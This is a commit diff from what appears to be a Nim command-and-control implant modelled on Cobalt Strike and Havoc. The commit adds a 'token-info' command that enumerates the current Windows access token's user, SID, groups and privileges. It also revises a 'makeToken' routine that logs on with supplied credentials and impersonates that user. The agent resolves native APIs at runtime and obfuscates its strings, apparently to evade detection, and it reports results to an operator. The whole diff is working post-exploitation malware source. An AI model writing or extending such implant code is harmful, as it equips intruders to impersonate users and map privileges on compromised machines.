Implemented 'token-info' command that returns statistics, group memberships and privileges of the current access token.
This commit is contained in:
@@ -1,4 +1,5 @@
|
|||||||
import winim/lean
|
import winim/lean
|
||||||
|
import strformat
|
||||||
import ../../common/[types, utils]
|
import ../../common/[types, utils]
|
||||||
|
|
||||||
#[
|
#[
|
||||||
@@ -7,6 +8,7 @@ import ../../common/[types, utils]
|
|||||||
- https://www.nccgroup.com/research-blog/demystifying-cobalt-strike-s-make_token-command/
|
- https://www.nccgroup.com/research-blog/demystifying-cobalt-strike-s-make_token-command/
|
||||||
- https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Token.c
|
- https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon/src/core/Token.c
|
||||||
- https://github.com/itaymigdal/Nimbo-C2/blob/main/Nimbo-C2/agent/windows/utils/token.nim
|
- https://github.com/itaymigdal/Nimbo-C2/blob/main/Nimbo-C2/agent/windows/utils/token.nim
|
||||||
|
- Windows System Programming Security on INE (Pavel Yosifovich)
|
||||||
]#
|
]#
|
||||||
|
|
||||||
# APIs
|
# APIs
|
||||||
@@ -14,6 +16,7 @@ type
|
|||||||
NtQueryInformationToken = proc(hToken: HANDLE, tokenInformationClass: TOKEN_INFORMATION_CLASS, tokenInformation: PVOID, tokenInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.}
|
NtQueryInformationToken = proc(hToken: HANDLE, tokenInformationClass: TOKEN_INFORMATION_CLASS, tokenInformation: PVOID, tokenInformationLength: ULONG, returnLength: PULONG): NTSTATUS {.stdcall.}
|
||||||
NtOpenThreadToken = proc(threadHandle: HANDLE, desiredAccess: ACCESS_MASK, openAsSelf: BOOLEAN, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
|
NtOpenThreadToken = proc(threadHandle: HANDLE, desiredAccess: ACCESS_MASK, openAsSelf: BOOLEAN, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
|
||||||
NtOpenProcessToken = proc(processHandle: HANDLE, desiredAccess: ACCESS_MASK, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
|
NtOpenProcessToken = proc(processHandle: HANDLE, desiredAccess: ACCESS_MASK, tokenHandle: PHANDLE): NTSTATUS {.stdcall.}
|
||||||
|
ConvertSidToStringSidA = proc(sid: PSID, stringSid: ptr LPSTR): NTSTATUS {.stdcall.}
|
||||||
|
|
||||||
const
|
const
|
||||||
CURRENT_THREAD = cast[HANDLE](-2)
|
CURRENT_THREAD = cast[HANDLE](-2)
|
||||||
@@ -29,7 +32,8 @@ proc getCurrentToken*(): HANDLE =
|
|||||||
pNtOpenThreadToken = cast[NtOpenThreadToken](GetProcAddress(hNtdll, protect("NtOpenThreadToken")))
|
pNtOpenThreadToken = cast[NtOpenThreadToken](GetProcAddress(hNtdll, protect("NtOpenThreadToken")))
|
||||||
pNtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(hNtdll, protect("NtOpenProcessToken")))
|
pNtOpenProcessToken = cast[NtOpenProcessToken](GetProcAddress(hNtdll, protect("NtOpenProcessToken")))
|
||||||
|
|
||||||
status = pNtOpenThreadToken(CURRENT_THREAD, TOKEN_QUERY, FALSE, addr hToken)
|
# https://ntdoc.m417z.com/ntopenthreadtoken, token-info fails with error ACCESS_DENIED if OpenAsSelf is set to
|
||||||
|
status = pNtOpenThreadToken(CURRENT_THREAD, TOKEN_QUERY, TRUE, addr hToken)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
status = pNtOpenProcessToken(CURRENT_PROCESS, TOKEN_QUERY, addr hToken)
|
status = pNtOpenProcessToken(CURRENT_PROCESS, TOKEN_QUERY, addr hToken)
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
@@ -37,53 +41,135 @@ proc getCurrentToken*(): HANDLE =
|
|||||||
|
|
||||||
return hToken
|
return hToken
|
||||||
|
|
||||||
proc getTokenOwner*(hToken: HANDLE): string =
|
proc sidToString(sid: PSID): string =
|
||||||
|
let pConvertSidToStringSidA = cast[ConvertSidToStringSidA](GetProcAddress(GetModuleHandleA(protect("advapi32.dll")), protect("ConvertSidToStringSidA")))
|
||||||
|
var stringSid: LPSTR
|
||||||
|
discard pConvertSidToStringSidA(sid, addr stringSid)
|
||||||
|
return $stringSid
|
||||||
|
|
||||||
|
proc sidToName(sid: PSID): string =
|
||||||
|
var
|
||||||
|
usernameSize: DWORD = 0
|
||||||
|
domainSize: DWORD = 0
|
||||||
|
sidType: SID_NAME_USE
|
||||||
|
|
||||||
|
# Retrieve required sizes
|
||||||
|
discard LookupAccountSidW(NULL, sid, NULL, addr usernameSize, NULL, addr domainSize, addr sidType)
|
||||||
|
|
||||||
|
var username = newWString(int(usernameSize) + 1)
|
||||||
|
var domain = newWString(int(domainSize) + 1)
|
||||||
|
if LookupAccountSidW(NULL, sid, username, addr usernameSize, domain, addr domainSize, addr sidType) == TRUE:
|
||||||
|
return $domain[0 ..< int(domainSize)] & "\\" & $username[0 ..< int(usernameSize)]
|
||||||
|
return ""
|
||||||
|
|
||||||
|
proc privilegeToString(luid: PLUID): string =
|
||||||
|
var privSize: DWORD = 0
|
||||||
|
|
||||||
|
# Retrieve required size
|
||||||
|
discard LookupPrivilegeNameW(NULL, luid, NULL, addr privSize)
|
||||||
|
|
||||||
|
var privName = newWString(int(privSize) + 1)
|
||||||
|
if LookupPrivilegeNameW(NULL, luid, privName, addr privSize) == TRUE:
|
||||||
|
return $privName[0 ..< int(privSize)]
|
||||||
|
return ""
|
||||||
|
|
||||||
|
#[
|
||||||
|
Retrieve and return information about an access token
|
||||||
|
]#
|
||||||
|
proc getTokenInfo*(hToken: HANDLE): string =
|
||||||
var
|
var
|
||||||
status: NTSTATUS = 0
|
status: NTSTATUS = 0
|
||||||
returnLength: ULONG = 0
|
returnLength: ULONG = 0
|
||||||
pUser: ptr TOKEN_USER = nil
|
|
||||||
usernameLength: DWORD = 0
|
pStats: TOKEN_STATISTICS
|
||||||
domainLength: DWORD = 0
|
pUser: PTOKEN_USER
|
||||||
totalLength: ULONG = 0
|
pGroups: PTOKEN_GROUPS
|
||||||
sidName: SID_NAME_USE
|
pPrivileges: PTOKEN_PRIVILEGES
|
||||||
szUsername: PWCHAR = nil
|
|
||||||
pDomain: PWCHAR = nil
|
|
||||||
|
|
||||||
let pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtQueryInformationToken")))
|
let pNtQueryInformationToken = cast[NtQueryInformationToken](GetProcAddress(GetModuleHandleA(protect("ntdll")), protect("NtQueryInformationToken")))
|
||||||
|
|
||||||
# Calculate return length to allocate space
|
#[
|
||||||
status = pNtQueryInformationToken(hToken, tokenUser, NULL, 0, addr returnLength)
|
Token statistics
|
||||||
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
|
]#
|
||||||
raise newException(CatchableError, protect("NtQueryInformationToken [1] ") & $status.toHex())
|
status = pNtQueryInformationToken(hToken, tokenStatistics, addr pStats, cast[ULONG](sizeof(pStats)), addr returnLength)
|
||||||
|
|
||||||
pUser = cast[ptr TOKEN_USER](LocalAlloc(LMEM_FIXED, returnLength))
|
|
||||||
if pUser == NULL:
|
|
||||||
raise newException(CatchableError, "Failed to allocate memory for TOKEN_USER")
|
|
||||||
defer: LocalFree(cast[HLOCAL](pUser))
|
|
||||||
|
|
||||||
# Retrieve token user information
|
|
||||||
status = pNtQueryInformationToken(hToken, tokenUser, cast[PVOID](pUser), returnLength, addr returnLength)
|
|
||||||
if status != STATUS_SUCCESS:
|
if status != STATUS_SUCCESS:
|
||||||
raise newException(CatchableError, protect("NtQueryInformationToken [2] ") & $status.toHex())
|
raise newException(CatchableError, protect("NtQueryInformationToken - Token Statistics ") & $status.toHex())
|
||||||
|
|
||||||
if LookupAccountSidW(NULL, pUser.User.Sid, NULL, addr usernameLength, NULL, addr domainLength, addr sidName) == FALSE:
|
|
||||||
sidName = 0
|
|
||||||
|
|
||||||
let
|
let
|
||||||
sizeofWChar = cast[ULONG](sizeof(WCHAR))
|
tokenType = if cast[TOKEN_TYPE](pStats.TokenType) == tokenPrimary: protect("Primary") else: protect("Impersonation")
|
||||||
pDomain = cast[PWCHAR](LocalAlloc(LMEM_FIXED, domainLength * sizeofWChar))
|
tokenId = cast[uint32](pStats.TokenId).toHex()
|
||||||
pUsername = cast[PWCHAR](LocalAlloc(LMEM_FIXED, usernameLength * sizeofWChar))
|
|
||||||
if pDomain == NULL or pUsername == NULL:
|
|
||||||
raise newException(CatchableError, $GetLastError())
|
|
||||||
defer:
|
|
||||||
LocalFree(cast[HLOCAL](pDomain))
|
|
||||||
LocalFree(cast[HLOCAL](pUsername))
|
|
||||||
|
|
||||||
# Retrieve username & domain
|
result &= fmt"TokenID: 0x{tokenId}" & "\n"
|
||||||
if LookupAccountSidW(nil, pUser.User.Sid, pUsername, addr usernameLength, pDomain, addr domainLength, addr sidName) == FALSE:
|
result &= fmt"Type: {tokenType}" & "\n"
|
||||||
raise newException(CatchableError, $GetLastError())
|
|
||||||
|
#[
|
||||||
|
Token user information
|
||||||
|
]#
|
||||||
|
status = pNtQueryInformationToken(hToken, tokenUser, NULL, 0, addr returnLength)
|
||||||
|
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
|
||||||
|
raise newException(CatchableError, protect("NtQueryInformationToken - Token User [1] ") & $status.toHex())
|
||||||
|
|
||||||
|
pUser = cast[PTOKEN_USER](LocalAlloc(LMEM_FIXED, returnLength))
|
||||||
|
if pUser == NULL:
|
||||||
|
raise newException(CatchableError, $GetLastError())
|
||||||
|
defer: LocalFree(cast[HLOCAL](pUser))
|
||||||
|
|
||||||
|
status = pNtQueryInformationToken(hToken, tokenUser, cast[PVOID](pUser), returnLength, addr returnLength)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, protect("NtQueryInformationToken - Token User [2] ") & $status.toHex())
|
||||||
|
|
||||||
|
result &= fmt"User: {sidToName(pUser.User.Sid)}" & "\n"
|
||||||
|
result &= fmt"SID: {sidToString(pUser.User.Sid)}" & "\n"
|
||||||
|
|
||||||
|
#[
|
||||||
|
Groups
|
||||||
|
]#
|
||||||
|
status = pNtQueryInformationToken(hToken, tokenGroups, NULL, 0, addr returnLength)
|
||||||
|
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
|
||||||
|
raise newException(CatchableError, protect("NtQueryInformationToken - Token Groups [1] ") & $status.toHex())
|
||||||
|
|
||||||
|
pGroups = cast[PTOKEN_GROUPS](LocalAlloc(LMEM_FIXED, returnLength))
|
||||||
|
if pGroups == NULL:
|
||||||
|
raise newException(CatchableError, $GetLastError())
|
||||||
|
defer: LocalFree(cast[HLOCAL](pGroups))
|
||||||
|
|
||||||
|
status = pNtQueryInformationToken(hToken, tokenGroups, cast[PVOID](pGroups), returnLength, addr returnLength)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, protect("NtQueryInformationToken - Token Groups [2] ") & $status.toHex())
|
||||||
|
|
||||||
|
let
|
||||||
|
groupCount = pGroups.GroupCount
|
||||||
|
groups = cast[ptr UncheckedArray[SID_AND_ATTRIBUTES]](addr pGroups.Groups[0])
|
||||||
|
|
||||||
|
result &= fmt"Group memberships ({groupCount})" & "\n"
|
||||||
|
for i, group in groups.toOpenArray(0, int(groupCount) - 1):
|
||||||
|
result &= fmt" - {sidToString(group.Sid):<50} {sidToName(group.Sid)}" & "\n"
|
||||||
|
|
||||||
|
#[
|
||||||
|
Privileges
|
||||||
|
]#
|
||||||
|
status = pNtQueryInformationToken(hToken, tokenPrivileges, NULL, 0, addr returnLength)
|
||||||
|
if status != STATUS_SUCCESS and status != STATUS_BUFFER_TOO_SMALL:
|
||||||
|
raise newException(CatchableError, protect("NtQueryInformationToken - Token Privileges [1] ") & $status.toHex())
|
||||||
|
|
||||||
|
pPrivileges = cast[PTOKEN_PRIVILEGES](LocalAlloc(LMEM_FIXED, returnLength))
|
||||||
|
if pPrivileges == NULL:
|
||||||
|
raise newException(CatchableError, $GetLastError())
|
||||||
|
defer: LocalFree(cast[HLOCAL](pPrivileges))
|
||||||
|
|
||||||
|
status = pNtQueryInformationToken(hToken, tokenPrivileges, cast[PVOID](pPrivileges), returnLength, addr returnLength)
|
||||||
|
if status != STATUS_SUCCESS:
|
||||||
|
raise newException(CatchableError, protect("NtQueryInformationToken - Token Privileges [2] ") & $status.toHex())
|
||||||
|
|
||||||
|
let
|
||||||
|
privCount = pPrivileges.PrivilegeCount
|
||||||
|
privs = cast[ptr UncheckedArray[LUID_AND_ATTRIBUTES]](addr pPrivileges.Privileges[0])
|
||||||
|
|
||||||
|
result &= fmt"Privileges ({privCount})" & "\n"
|
||||||
|
for i, priv in privs.toOpenArray(0, int(privCount) - 1):
|
||||||
|
let enabled = if priv.Attributes and SE_PRIVILEGE_ENABLED: "Enabled" else: "Disabled"
|
||||||
|
result &= fmt" - {privilegeToString(addr priv.Luid):<50} {enabled}" & "\n"
|
||||||
|
|
||||||
return $pDomain & "\\" & $pUsername
|
|
||||||
|
|
||||||
proc impersonateToken*(hToken: HANDLE) =
|
proc impersonateToken*(hToken: HANDLE) =
|
||||||
discard
|
discard
|
||||||
@@ -107,20 +193,19 @@ proc makeToken*(username, password, domain: string, logonType: DWORD = LOGON32_L
|
|||||||
hImpersonationToken: HANDLE
|
hImpersonationToken: HANDLE
|
||||||
|
|
||||||
let provider: DWORD = if logonType == LOGON32_LOGON_NEW_CREDENTIALS: LOGON32_PROVIDER_WINNT50 else: LOGON32_PROVIDER_DEFAULT
|
let provider: DWORD = if logonType == LOGON32_LOGON_NEW_CREDENTIALS: LOGON32_PROVIDER_WINNT50 else: LOGON32_PROVIDER_DEFAULT
|
||||||
if LogonUserA(username, domain, password, logonType, provider, addr hToken):
|
if LogonUserA(username, domain, password, logonType, provider, addr hToken) == FALSE:
|
||||||
|
return false
|
||||||
|
defer: CloseHandle(hToken)
|
||||||
|
|
||||||
if DuplicateTokenEx(hToken, TOKEN_QUERY or TOKEN_IMPERSONATE, NULL, securityImpersonation, tokenImpersonation, addr hImpersonationToken) == FALSE:
|
if DuplicateTokenEx(hToken, TOKEN_QUERY or TOKEN_IMPERSONATE, NULL, securityImpersonation, tokenImpersonation, addr hImpersonationToken) == FALSE:
|
||||||
return false
|
return false
|
||||||
defer: CloseHandle(hImpersonationToken)
|
|
||||||
|
|
||||||
|
# Revert to self before impersonation
|
||||||
|
discard RevertToSelf()
|
||||||
if ImpersonateLoggedOnUser(hImpersonationToken) == FALSE:
|
if ImpersonateLoggedOnUser(hImpersonationToken) == FALSE:
|
||||||
|
CloseHandle(hImpersonationToken)
|
||||||
return false
|
return false
|
||||||
|
|
||||||
else:
|
|
||||||
return false
|
|
||||||
|
|
||||||
defer: CloseHandle(hToken)
|
|
||||||
|
|
||||||
return true
|
return true
|
||||||
|
|
||||||
proc tokenSteal*(pid: int): bool =
|
proc tokenSteal*(pid: int): bool =
|
||||||
|
|||||||
@@ -20,7 +20,7 @@ proc getDomain(): string =
|
|||||||
dwSize = DWORD buffer.len
|
dwSize = DWORD buffer.len
|
||||||
|
|
||||||
GetComputerNameExW(ComputerNameDnsDomain, &buffer, &dwSize)
|
GetComputerNameExW(ComputerNameDnsDomain, &buffer, &dwSize)
|
||||||
return $buffer[ 0 ..< int(dwSize)]
|
return $buffer[0 ..< int(dwSize)]
|
||||||
|
|
||||||
# Username
|
# Username
|
||||||
proc getUsername(): string =
|
proc getUsername(): string =
|
||||||
|
|||||||
@@ -55,8 +55,7 @@ type
|
|||||||
CMD_MAKE_TOKEN = 18'u16
|
CMD_MAKE_TOKEN = 18'u16
|
||||||
CMD_STEAL_TOKEN = 19'u16
|
CMD_STEAL_TOKEN = 19'u16
|
||||||
CMD_REV2SELF = 20'u16
|
CMD_REV2SELF = 20'u16
|
||||||
CMD_TOKEN_GET_PRIV = 21'u16
|
CMD_TOKEN_INFO = 21'u16
|
||||||
CMD_TOKEN_SET_PRIV = 22'u16
|
|
||||||
|
|
||||||
StatusType* = enum
|
StatusType* = enum
|
||||||
STATUS_COMPLETED = 0'u8
|
STATUS_COMPLETED = 0'u8
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ import ../common/[types, utils]
|
|||||||
# Define function prototype
|
# Define function prototype
|
||||||
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult
|
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult
|
||||||
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult
|
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult
|
||||||
|
proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult
|
||||||
|
|
||||||
# Module definition
|
# Module definition
|
||||||
let module* = Module(
|
let module* = Module(
|
||||||
@@ -25,10 +26,18 @@ let module* = Module(
|
|||||||
Command(
|
Command(
|
||||||
name: protect("rev2self"),
|
name: protect("rev2self"),
|
||||||
commandType: CMD_REV2SELF,
|
commandType: CMD_REV2SELF,
|
||||||
description: protect("Revert to previous access token."),
|
description: protect("Revert to original access token."),
|
||||||
example: protect("rev2self"),
|
example: protect("rev2self"),
|
||||||
arguments: @[],
|
arguments: @[],
|
||||||
execute: executeRev2Self
|
execute: executeRev2Self
|
||||||
|
),
|
||||||
|
Command(
|
||||||
|
name: protect("token-info"),
|
||||||
|
commandType: CMD_TOKEN_INFO,
|
||||||
|
description: protect("Retrieve information about the current access token."),
|
||||||
|
example: protect("token-info"),
|
||||||
|
arguments: @[],
|
||||||
|
execute: executeTokenInfo
|
||||||
)
|
)
|
||||||
]
|
]
|
||||||
)
|
)
|
||||||
@@ -37,6 +46,7 @@ let module* = Module(
|
|||||||
when not defined(agent):
|
when not defined(agent):
|
||||||
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult = nil
|
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||||
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult = nil
|
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||||
|
proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||||
|
|
||||||
when defined(agent):
|
when defined(agent):
|
||||||
|
|
||||||
@@ -63,9 +73,6 @@ when defined(agent):
|
|||||||
if task.argCount == 3:
|
if task.argCount == 3:
|
||||||
logonType = cast[DWORD](Bytes.toUint32(task.args[2].data))
|
logonType = cast[DWORD](Bytes.toUint32(task.args[2].data))
|
||||||
|
|
||||||
# Revert current token before creating a new one
|
|
||||||
discard rev2self()
|
|
||||||
|
|
||||||
if not makeToken(userParts[1], password, userParts[0], logonType):
|
if not makeToken(userParts[1], password, userParts[0], logonType):
|
||||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(protect("Failed to create token.")))
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(protect("Failed to create token.")))
|
||||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Impersonated {username}."))
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Impersonated {username}."))
|
||||||
@@ -83,3 +90,13 @@ when defined(agent):
|
|||||||
|
|
||||||
except CatchableError as err:
|
except CatchableError as err:
|
||||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||||
|
|
||||||
|
proc executeTokenInfo(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
|
try:
|
||||||
|
echo fmt" [>] Retrieving token information."
|
||||||
|
|
||||||
|
let tokenInfo = getCurrentToken().getTokenInfo()
|
||||||
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(tokenInfo))
|
||||||
|
|
||||||
|
except CatchableError as err:
|
||||||
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||||
|
|||||||
Reference in New Issue
Block a user